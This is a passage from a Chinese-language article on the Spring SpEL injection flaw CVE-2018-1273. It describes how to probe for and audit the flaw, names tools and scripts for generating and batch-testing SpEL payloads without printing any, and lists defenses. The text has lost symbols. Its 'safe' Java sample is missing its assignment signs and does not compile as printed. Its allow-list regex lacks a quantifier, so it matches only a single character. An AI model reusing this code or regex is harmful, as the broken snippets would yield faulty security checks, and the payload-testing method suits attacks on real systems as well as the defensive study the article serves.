500错误响应中泄露部分栈信息或表达式片段这能帮助确认漏洞是否存在以及使用的技术栈。参数污染同时提交正常参数和恶意参数观察应用行为。白盒审计有源码全局搜索在代码库中搜索关键词RepositoryRestResource、Query尤其是包含?#的SpEL、EvaluationContext、SpelExpressionParser、parseExpression等。跟踪数据流从Controller的入口方法开始跟踪用户可控的参数看其最终是否被传递到了BeanWrapper的setPropertyValue、DataBinder的bind方法或者SpEL的parseExpression/getValue方法中。审查配置检查是否有不安全的SpEL解析器配置例如使用了StandardEvaluationContext而非更安全的SimpleEvaluationContextSpring 4.3引入用于限制SpEL功能。6.3 自动化工具辅助手动测试效率有限可以借助一些工具Burp Suite插件如Spring Boot Actuator Exploiter、SpringSpEL等插件可以辅助生成和测试Spring相关的攻击载荷。自定义扫描脚本使用Python的requests库编写脚本批量对目标接口进行SpEL载荷测试。SAST工具在开发阶段使用静态应用安全测试工具如SonarQube、Checkmarx、Fortify扫描代码它们通常有规则能识别不安全的SpEL使用。7. 从CVE-2018-1273看表达式注入的通用防御CVE-2018-1273不是一个孤例它是“表达式注入”漏洞家族的一个典型代表。从这次事件中我们可以提炼出防御此类漏洞的通用思路。1. 使用安全的表达式上下文这是最重要的原则。在Spring中SpEL有两种主要的求值上下文StandardEvaluationContext功能完整可以执行任意代码极度危险不应在任何处理用户输入的场景中使用。SimpleEvaluationContextSpring 4.3引入通过构造器可以严格限制允许访问的属性、函数和类型。在处理任何可能包含用户输入的场景时必须使用SimpleEvaluationContext。例如安全的用法应该是SpelExpressionParser parser new SpelExpressionParser(); EvaluationContext context SimpleEvaluationContext.forReadOnlyDataBinding().build(); // 或者限制更严格的上下文 Expression exp parser.parseExpression(name); String value exp.getValue(context, rootObject, String.class);2. 输入白名单校验对于明确知道参数格式的场景采用白名单校验。例如如果某个参数只允许是字母数字那么使用正则表达式^[a-zA-Z0-9]$进行严格匹配拒绝任何包含特殊字符如[]().等的输入。3. 沙箱与隔离如果业务必须执行动态表达式考虑在独立的、权限受限的沙箱环境中运行。例如使用Java安全管理器SecurityManager配置严格的策略文件或者在一个完全隔离的容器Docker中运行表达式解析服务。但实现一个真正安全的沙箱非常复杂应作为最后的手段。4. 代码审查与安全培训将“表达式注入”作为安全编码规范的一部分在团队内进行培训。在代码审查中重点关注任何动态执行代码的地方特别是那些参数来自外部的场景。5. 依赖与漏洞管理建立完善的软件供应链安全管理流程。使用自动化工具监控项目依赖及时获取如CVE-2018-1273这类公开漏洞的情报并制定清晰的补丁更新策略。对于不再维护的旧版本框架应制定迁移计划。回过头看CVE-2018-1273的修复其实正是践行了第一条原则在不该出现表达式求值的地方属性路径解析彻底关闭了表达式求值功能。这比尝试去过滤恶意表达式要可靠得多。在安全领域“默认拒绝”的策略往往比“默认允许再过滤”更为有效。作为开发者我们在享受框架便利的同时必须时刻对框架自动完成的工作保持警惕理解其边界和风险才能构建出真正健壮的应用。